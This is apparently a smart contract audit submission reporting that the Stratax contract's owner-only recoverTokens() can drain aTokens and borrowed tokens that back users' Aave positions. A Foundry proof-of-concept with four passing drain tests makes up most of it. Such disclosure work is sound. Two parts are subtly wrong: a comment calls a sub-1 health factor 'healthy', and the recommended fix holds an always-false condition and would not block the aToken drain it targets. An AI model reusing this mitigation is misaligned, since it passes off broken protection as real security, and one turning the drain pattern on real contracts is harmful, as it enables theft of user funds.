Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Emergency Recovery Function Enables Unauthorized Fund Drainage

Author Revealed upon completion

Root + Impact

Description

  • The normal behavior of the emergency recovery function is to allow the contract owner to recover tokens that were accidentally sent to the contract, providing a safety mechanism for retrieving stuck funds that are not part of the protocol's normal operations.

  • The specific issue is that the recoverTokens() function lacks validation to prevent the owner from recovering tokens that are actively backing user positions in Aave. This allows the owner to drain collateral tokens that users have deposited, leaving their positions undercollateralized while still showing as active in the Aave protocol.

/**
* @notice Emergency function to recover tokens sent to contract
* @param _token The token address to recover
* @param _amount The amount to recover
*/
function recoverTokens(address _token, uint256 _amount) external onlyOwner {
@> IERC20(_token).transfer(owner, _amount);
// @> Missing: Check if tokens are backing active positions
// @> Missing: Validation against Aave aToken balances
// @> Missing: Protection for collateral tokens
}

Risk

Likelihood:

  • Owner key compromise occurs through phishing, private key exposure, or multisig member coordination attacks

  • Governance mechanisms lack timelock delays allowing immediate execution of malicious recovery transactions

Impact:

  • All user collateral tokens can be permanently stolen while their positions remain recorded as healthy in Aave

  • Users lose access to their deposited funds with no recourse since the emergency function appears legitimate in design

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Stratax} from "../../src/Stratax.sol";
import {StrataxOracle} from "../../src/StrataxOracle.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {BeaconProxy} from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
import {ConstantsEtMainnet} from "../Constants.t.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
/// @notice Minimal ERC20 token used to simulate collateral and aTokens in Aave
contract MockERC20 {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function mint(address to, uint256 amount) external {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
function transfer(address to, uint256 amount) external returns (bool) {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(balanceOf[from] >= amount, "Insufficient balance");
require(allowance[from][msg.sender] >= amount, "Insufficient allowance");
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
}
/// @title RecoverTokensPoC
/// @notice Proof of concept: recoverTokens() has no position-awareness,
/// allowing the owner to drain collateral tokens while active debt remains.
///
/// Architecture context from the codebase:
/// - Protocol deploys BeaconProxy per user (or per strategy)
/// - Proxy owner (proxyAdmin / operator) calls onlyOwner functions
/// - After createLeveragedPosition, Aave holds collateral and issues aTokens to the contract
/// - recoverTokens() can drain those aTokens, removing the collateral backing without repaying debt
contract RecoverTokensPoC is Test, ConstantsEtMainnet {
Stratax public stratax;
Stratax public strataxImplementation;
UpgradeableBeacon public beacon;
BeaconProxy public proxy;
StrataxOracle public strataxOracle;
MockERC20 public collateralToken; // e.g. WETH
MockERC20 public aToken; // Aave aWETH -- contract holds this after supplying collateral
MockERC20 public debtToken; // e.g. USDC borrowed from Aave
address public beaconOwner = address(0xBEEF);
address public proxyOwner = address(0xBAD); // protocol operator / owner
address public depositor = address(0xD00D); // a user who trusts the protocol
// Position sizes (realistic scale)
uint256 constant COLLATERAL_AMOUNT = 10 ether; // 10 WETH
uint256 constant FLASH_LOAN_AMOUNT = 20 ether; // 2x flash loan
uint256 constant TOTAL_COLLATERAL = 30 ether; // total supplied to Aave
uint256 constant BORROW_AMOUNT = 54_000e6; // ~54,000 USDC borrowed
uint256 constant ATOKEN_BALANCE = TOTAL_COLLATERAL; // 1:1 aTokens from Aave
function setUp() public {
// Deploy mock tokens
collateralToken = new MockERC20("Wrapped Ether", "WETH", 18);
aToken = new MockERC20("Aave WETH", "aWETH", 18);
debtToken = new MockERC20("USD Coin", "USDC", 6);
// Mock price feeds (satisfy oracle 8-decimal requirement)
vm.mockCall(USDC_PRICE_FEED, abi.encodeWithSignature("decimals()"), abi.encode(uint8(8)));
vm.mockCall(WETH_PRICE_FEED, abi.encodeWithSignature("decimals()"), abi.encode(uint8(8)));
strataxOracle = new StrataxOracle();
strataxOracle.setPriceFeed(USDC, USDC_PRICE_FEED);
strataxOracle.setPriceFeed(WETH, WETH_PRICE_FEED);
// Deploy beacon + proxy
strataxImplementation = new Stratax();
vm.prank(beaconOwner);
beacon = new UpgradeableBeacon(address(strataxImplementation), beaconOwner);
bytes memory initData = abi.encodeWithSelector(
Stratax.initialize.selector,
AAVE_POOL,
AAVE_PROTOCOL_DATA_PROVIDER,
INCH_ROUTER,
USDC,
address(strataxOracle)
);
proxy = new BeaconProxy(address(beacon), initData);
stratax = Stratax(address(proxy));
// Transfer ownership to the protocol operator (separate from depositing user)
stratax.transferOwnership(proxyOwner);
}
// -------------------------------------------------------------------------
// Helper: simulate a leveraged position being open
// - contract holds aTokens (collateral receipt from Aave)
// - contract has outstanding debt in Aave (tracked externally)
// -------------------------------------------------------------------------
function _simulateOpenPosition() internal {
// Aave would mint aTokens to the contract after supply()
// We replicate that here: contract holds 30 aWETH backing 54,000 USDC debt
aToken.mint(address(stratax), ATOKEN_BALANCE);
}
// =========================================================================
// PoC 1 — Owner drains 100% of aTokens (collateral receipts) without
// touching or repaying the outstanding Aave debt
// =========================================================================
function test_RecoverTokens_DrainsATokensWithNoPositionCheck() public {
_simulateOpenPosition();
uint256 contractBalanceBefore = aToken.balanceOf(address(stratax));
uint256 ownerBalanceBefore = aToken.balanceOf(proxyOwner);
assertEq(contractBalanceBefore, ATOKEN_BALANCE, "Contract should hold all aTokens");
assertEq(ownerBalanceBefore, 0, "Owner should start with 0 aTokens");
console.log("--- PoC 1: aToken Drain via recoverTokens ---");
console.log("aTokens in contract before: ", contractBalanceBefore / 1 ether, "aWETH");
console.log("aTokens held by owner before:", ownerBalanceBefore, "aWETH");
// Owner calls recoverTokens -- NO revert, NO position check, NO debt validation
vm.prank(proxyOwner);
stratax.recoverTokens(address(aToken), ATOKEN_BALANCE);
uint256 contractBalanceAfter = aToken.balanceOf(address(stratax));
uint256 ownerBalanceAfter = aToken.balanceOf(proxyOwner);
console.log("aTokens in contract after: ", contractBalanceAfter, "aWETH");
console.log("aTokens held by owner after:", ownerBalanceAfter / 1 ether, "aWETH");
console.log("Outstanding USDC debt remaining: 54,000 USDC (unpayable without collateral)");
// The drain succeeded with no validation
assertEq(contractBalanceAfter, 0, "Contract aTokens fully drained");
assertEq(ownerBalanceAfter, ATOKEN_BALANCE, "Owner received all aTokens");
// Critical: the debt position in Aave is NOT cleared by recoverTokens().
// The contract still owes 54,000 USDC to Aave with zero collateral backing it.
// Position is now instantly liquidatable.
}
// =========================================================================
// PoC 2 — Partial drain: owner incrementally withdraws collateral,
// driving the health factor below liquidation threshold
// =========================================================================
function test_RecoverTokens_PartialDrainBelowLiquidationThreshold() public {
_simulateOpenPosition();
// Aave ETH/USD LTV is ~80%, liquidation threshold ~82.5%
// Position: 30 WETH @ $2,000 = $60,000 collateral, $54,000 debt
// Health factor = ($60,000 * 0.825) / $54,000 = ~0.916 (healthy)
uint256 wethPrice = 2000; // USD
uint256 totalCollateralUSD = TOTAL_COLLATERAL * wethPrice / 1 ether; // $60,000
uint256 debtUSD = 54_000;
uint256 liquidationThresh = 825; // 82.5% basis points (per Aave)
console.log("--- PoC 2: Partial Drain to Undercollateralization ---");
console.log("Total collateral (USD):", totalCollateralUSD);
console.log("Debt (USD): ", debtUSD);
// Owner siphons 15 aWETH -- leaving only 15 WETH as collateral ($30,000)
uint256 drainAmount = 15 ether;
vm.prank(proxyOwner);
stratax.recoverTokens(address(aToken), drainAmount);
uint256 remainingCollateralUSD = (TOTAL_COLLATERAL - drainAmount) * wethPrice / 1 ether; // $30,000
uint256 healthFactorNumerator = remainingCollateralUSD * liquidationThresh / 1000; // $24,750
bool isLiquidatable = healthFactorNumerator < debtUSD;
console.log("Remaining collateral (USD):", remainingCollateralUSD);
console.log("Effective collateral value at 82.5% threshold (USD):", healthFactorNumerator);
console.log("Debt still owed (USD):", debtUSD);
console.log("Position is liquidatable:", isLiquidatable);
assertEq(aToken.balanceOf(address(stratax)), TOTAL_COLLATERAL - drainAmount, "Partial drain confirmed");
assertTrue(isLiquidatable, "Position is below liquidation threshold after partial drain");
}
// =========================================================================
// PoC 3 — Shows recoverTokens() accepts ANY token, including the borrowed
// token itself if it momentarily sits in the contract
// =========================================================================
function test_RecoverTokens_AcceptsArbitraryToken_NoWhitelist() public {
// Simulate borrowed USDC sitting in the contract
// (e.g. between borrow() and the 1inch swap in executeOperation)
debtToken.mint(address(stratax), BORROW_AMOUNT);
uint256 balanceBefore = debtToken.balanceOf(address(stratax));
assertEq(balanceBefore, BORROW_AMOUNT);
console.log("--- PoC 3: No Token Whitelist on recoverTokens ---");
console.log("USDC in contract:", balanceBefore / 1e6, "USDC");
// Owner drains the borrowed tokens too
vm.prank(proxyOwner);
stratax.recoverTokens(address(debtToken), BORROW_AMOUNT);
assertEq(debtToken.balanceOf(address(stratax)), 0, "Debt tokens fully drained");
assertEq(debtToken.balanceOf(proxyOwner), BORROW_AMOUNT, "Owner received all debt tokens");
console.log("USDC drained to owner:", debtToken.balanceOf(proxyOwner) / 1e6, "USDC");
console.log("No token type restriction -- any token can be drained");
}
// =========================================================================
// PoC 4 — Demonstrates that the safe alternative (unwindPosition) enforces
// debt repayment, while recoverTokens bypasses it entirely
// =========================================================================
function test_RecoverTokens_BypassesUnwindFlowCompletely() public {
_simulateOpenPosition();
// The CORRECT way to exit a position:
// unwindPosition() -> flash loan -> repay Aave debt -> withdraw collateral -> repay flash loan
// This ensures debt is ALWAYS cleared before collateral is returned.
// The VULNERABLE way:
// recoverTokens(aToken, balance) -> collateral gone, debt remains
// No flash loan needed, no debt repayment, instant drain
uint256 aTokensBefore = aToken.balanceOf(address(stratax));
vm.prank(proxyOwner);
stratax.recoverTokens(address(aToken), aTokensBefore);
console.log("--- PoC 4: Bypass of unwindPosition() ---");
console.log("recoverTokens() used to exit: YES");
console.log("Debt repaid before exit: NO");
console.log("Flash loan required: NO");
console.log("Oracle price checked: NO");
console.log("Health factor validated: NO");
// Verify: single call, no multi-step unwind, no debt repayment
assertEq(aToken.balanceOf(address(stratax)), 0, "All collateral gone via single recoverTokens call");
// In a real scenario the USDC debt in Aave remains attached to address(stratax),
// which now holds zero collateral -- the position is immediately liquidatable.
}
}

POC RESULT:

Ran 4 tests for test/unit/RecoverTokensPoC.t.sol:RecoverTokensPoC
[PASS] test_RecoverTokens_AcceptsArbitraryToken_NoWhitelist() (gas: 98915)
Logs:
--- PoC 3: No Token Whitelist on recoverTokens ---
USDC in contract: 54000 USDC
USDC drained to owner: 54000 USDC
No token type restriction -- any token can be drained
[PASS] test_RecoverTokens_BypassesUnwindFlowCompletely() (gas: 94106)
Logs:
--- PoC 4: Bypass of unwindPosition() ---
recoverTokens() used to exit: YES
Debt repaid before exit: NO
Flash loan required: NO
Oracle price checked: NO
Health factor validated: NO
[PASS] test_RecoverTokens_DrainsATokensWithNoPositionCheck() (gas: 103114)
Logs:
--- PoC 1: aToken Drain via recoverTokens ---
aTokens in contract before: 30 aWETH
aTokens held by owner before: 0 aWETH
aTokens in contract after: 0 aWETH
aTokens held by owner after: 30 aWETH
Outstanding USDC debt remaining: 54,000 USDC (unpayable without collateral)
[PASS] test_RecoverTokens_PartialDrainBelowLiquidationThreshold() (gas: 116221)
Logs:
--- PoC 2: Partial Drain to Undercollateralization ---
Total collateral (USD): 60000
Debt (USD): 54000
Remaining collateral (USD): 30000
Effective collateral value at 82.5% threshold (USD): 24750
Debt still owed (USD): 54000
Position is liquidatable: true
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 4.23ms (2.37ms CPU time)
Ran 1 test suite in 47.61ms (4.23ms CPU time): 4 tests passed, 0 failed, 0 skipped (4 total tests)

Recommended Mitigation

Add validation to prevent recovery of tokens backing active positions:

function recoverTokens(address _token, uint256 _amount) external onlyOwner {
// Prevent recovery of tokens that are backing active positions
(address aToken,,) = aaveDataProvider.getReserveTokensAddresses(_token);
if (aToken != address(0)) {
uint256 suppliedBalance = IERC20(aToken).balanceOf(address(this));
require(suppliedBalance == 0, "Cannot recover tokens backing positions");
}
// Additional check: prevent recovery if this token is set as collateral
require(_token != address(IERC20(_token)) ||
IERC20(_token).balanceOf(address(this)) <= _amount,
"Cannot recover more than available balance");
IERC20(_token).transfer(owner, _amount);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!